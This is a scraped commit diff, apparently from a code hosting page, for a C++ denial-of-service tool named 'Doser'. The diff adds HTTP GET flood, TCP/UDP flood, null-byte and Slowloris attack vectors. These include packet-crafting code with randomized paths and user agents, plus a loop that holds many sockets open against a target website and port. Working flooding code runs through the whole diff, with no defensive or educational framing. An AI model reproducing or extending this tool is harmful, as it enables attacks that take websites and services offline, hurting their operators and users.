9
9
#include " Doser.h"
10
10
11
11
12
- void Doser::attack (const int *id) {
12
+ void Doser::attack (const int *id){
13
13
std::vector<int > sockets;
14
14
int x, r;
15
+ std::vector<bool > packets;
15
16
for (x = 0 ; x < conf->CONNECTIONS ; x++) {
16
17
sockets.push_back (0 );
18
+ packets.push_back (false );
17
19
}
18
20
signal (SIGPIPE, &Doser::broke);
19
21
while (true ) {
20
22
static std::string message;
21
23
for (x = 0 ; x < conf->CONNECTIONS ; x++) {
22
- switch (sockets[x]){
23
- case 0 :{
24
- sockets[x] = make_socket (conf->website .c_str (), conf->port .c_str ());
25
- break ;
26
- }
27
- default :break ;
24
+ if (!sockets[x]){
25
+ sockets[x] = make_socket (conf->website .c_str (), conf->port .c_str ());
26
+ packets[x] = false ;
28
27
}
29
- switch (conf->vector ){
30
- case (config::HTTP):{
31
- std::string httpbuffer{};
32
- httpbuffer = std::string{" GET /" } + createStr () + " HTTP/1.0\r\n User-Agent: "
33
- + randomizeUserAgent () + " \r\n Accept: */*\r\n Connection: Keep-Alive\r\n\r\n " ;
34
- message = std::string (" Buffer: " ) + httpbuffer;
35
- logger->Log (&message, Logger::Info);
36
- r = static_cast <int >(write (sockets[x], httpbuffer.c_str (), static_cast <size_t >(httpbuffer.length ())));
37
- break ;
38
- }
39
- case (config::Null):{
40
- r = static_cast <int >(write (sockets[x], " \0 " , 1 ));
41
- break ;
42
- }
43
- default :break ;
28
+ if (conf->vector == config::NullTCP | conf->vector == config::NullUDP){
29
+ r = write_socket (sockets[x], " \0 " , 1 );
30
+ }else {
31
+ std::string packet = craft_packet (packets[x]);
32
+ r = write_socket (sockets[x], packet.c_str (), static_cast <int >(packet.length ()));
33
+ packets[x] = true ;
44
34
}
45
- switch (r){
46
- case -1 :{
47
- close (sockets[x]);
48
- sockets[x] = make_socket (conf->website .c_str (), conf->port .c_str ());
49
- break ;
50
- }
51
- default :{
52
- message = std::string (" Socket[" ) + std::to_string (x) + " ->"
53
- + std::to_string (sockets[x]) + " ] -> " + std::to_string (r);
54
- logger->Log (&message, Logger::Info);
55
- message = std::to_string (*id) + " : Voly Sent" ;
56
- logger->Log (&message, Logger::Info);
57
- }
35
+
36
+ if (conf->GetResponse ){
37
+ read_socket (sockets[x]);
38
+ }
39
+ if (r == -1 ){
40
+ close (sockets[x]);
41
+ sockets[x] = make_socket (conf->website .c_str (), conf->port .c_str ());
42
+ packets[x] = false ;
43
+ }else {
44
+ message = std::string (" Socket[" ) + std::to_string (x) + " ->"
45
+ + std::to_string (sockets[x]) + " ] -> " + std::to_string (r);
46
+ logger->Log (&message, Logger::Info);
47
+ message = std::to_string (*id) + " : Voly Sent" ;
48
+ logger->Log (&message, Logger::Info);
58
49
}
59
50
}
60
51
message = std::to_string (*id) + " : Voly Sent" ;
61
52
logger->Log (&message, Logger::Info);
62
- usleep (300000 );
53
+ if (conf->vector == config::Slowloris){
54
+ usleep (10000000 );
55
+ }else {
56
+ usleep (30000 );
57
+ }
58
+
63
59
}
64
60
}
65
61
@@ -115,14 +111,10 @@ void Doser::broke(int) {
115
111
}
116
112
117
113
std::string Doser::createStr () {
118
- unsigned seed = static_cast <unsigned int >(std::chrono::steady_clock::now ().time_since_epoch ().count ());
119
- std::default_random_engine engine (seed);
120
- std::uniform_int_distribution<int > distribution (0 , 20 );
121
- int string_length = distribution (engine) + 1 ;
114
+ int string_length = randomInt (0 , 20 ) + 1 ;
122
115
std::string string{};
123
116
for (int i = 0 ; i < string_length; ++i){
124
- distribution = std::uniform_int_distribution<int >(0 , 72 );
125
- string += (static_cast <char >(' 0' + distribution (engine)));
117
+ string += (static_cast <char >(' 0' + randomInt (0 , 72 )));
126
118
}
127
119
return string;
128
120
}
@@ -137,18 +129,20 @@ void Doser::run() {
137
129
case config::HTTP:
138
130
logger->Log (" Attack Vector: HTTP" , Logger::Info);
139
131
break ;
140
- case config::Null :
141
- logger->Log (" Attack Vector: Null " , Logger::Info);
132
+ case config::NullTCP :
133
+ logger->Log (" Attack Vector: NullTCP " , Logger::Info);
142
134
break ;
143
- default :break ;
144
- }
145
-
146
- switch (conf->protocol ){
147
- case config::TCP:
148
- logger->Log (" Using TCP Protocol" , Logger::Info);
135
+ case config::NullUDP:
136
+ logger->Log (" Attack Vector: NullUDP" , Logger::Info);
149
137
break ;
150
- case config::UDP:
151
- logger->Log (" Using UDP Protocol" , Logger::Info);
138
+ case config::UDPFlood:
139
+ logger->Log (" Attack Vector: UDPFlood" , Logger::Info);
140
+ break ;
141
+ case config::TCPFlood:
142
+ logger->Log (" Attack Vector: TCPFlood" , Logger::Info);
143
+ break ;
144
+ case config::Slowloris:
145
+ logger->Log (" Attack Vector: Slowloris" , Logger::Info);
152
146
break ;
153
147
default :break ;
154
148
}
@@ -161,7 +155,6 @@ void Doser::run() {
161
155
default :
162
156
attack (&x);
163
157
}
164
-
165
158
usleep (200000 );
166
159
}
167
160
}
@@ -172,10 +165,73 @@ Doser::Doser(config *conf, Logger *logger) : conf{conf}, logger{logger} {
172
165
173
166
std::string Doser::randomizeUserAgent (){
174
167
if (conf->useragents .size () > 1 ){
175
- unsigned seed = static_cast <unsigned int >(std::chrono::steady_clock::now ().time_since_epoch ().count ());
176
- std::default_random_engine engine (seed);
177
- std::uniform_int_distribution<int > distribution (0 , static_cast <int >(conf->useragents .size ()));
178
- return conf->useragents [distribution (engine)];
168
+ return conf->useragents [randomInt (0 , static_cast <int >(conf->useragents .size ()))];
179
169
}
180
170
return conf->useragents [0 ];
181
171
}
172
+
173
+ void Doser::read_socket (int socket){
174
+ char chunk[128 ];
175
+ while (read (socket , chunk, 128 )){
176
+ memset (chunk , 0 , 128 );
177
+ }
178
+ }
179
+
180
+ int Doser::write_socket (int socket, const char *string, int length){
181
+ return static_cast <int >(write (socket, string, static_cast <size_t >(length)));
182
+ }
183
+
184
+ std::string Doser::craft_packet (bool keep_alive){
185
+ std::string packet{};
186
+ switch (conf->vector ){
187
+ case config::UDPFlood:
188
+ case config::TCPFlood:
189
+ return createStr ();
190
+ case config::HTTP:{
191
+ packet += " GET /" ;
192
+ if (conf->RandomizeHeader ){
193
+ packet += createStr ();
194
+ }
195
+ packet += " HTTP/1.0\r\n User-Agent: " ;
196
+ if (conf->RandomizeUserAgent ){
197
+ packet += randomizeUserAgent ();
198
+ }else {
199
+ packet += conf->useragents [0 ];
200
+ }
201
+ packet+= " \r\n Accept: */*\r\n Connection: Keep-Alive\r\n\r\n " ;
202
+ return packet;
203
+ }
204
+ case config::Slowloris:{
205
+ if (keep_alive){
206
+ packet += " X-a: " ;
207
+ packet += std::to_string (randomInt (1 , 5000 ));
208
+ packet += " \r\n " ;
209
+ }else {
210
+ packet += " GET /" ;
211
+ if (conf->RandomizeHeader ){
212
+ packet += createStr ();
213
+ }
214
+ packet += " HTTP/1.0\r\n User-Agent: " ;
215
+ if (conf->RandomizeUserAgent ){
216
+ packet += randomizeUserAgent ();
217
+ }else {
218
+ packet += conf->useragents [0 ];
219
+ }
220
+ packet+= " \r\n Accept: */*\r\n " ;
221
+ packet += " X-a: " ;
222
+ packet += std::to_string (randomInt (1 , 5000 ));
223
+ packet += " \r\n " ;
224
+ }
225
+ return packet;
226
+ }
227
+ default :
228
+ return " " ;
229
+ }
230
+ }
231
+
232
+ int Doser::randomInt (int min, int max){
233
+ unsigned seed = static_cast <unsigned int >(std::chrono::steady_clock::now ().time_since_epoch ().count ());
234
+ std::default_random_engine engine (seed);
235
+ std::uniform_int_distribution<int > distribution (min, max);
236
+ return distribution (engine);
237
+ }
0 commit comments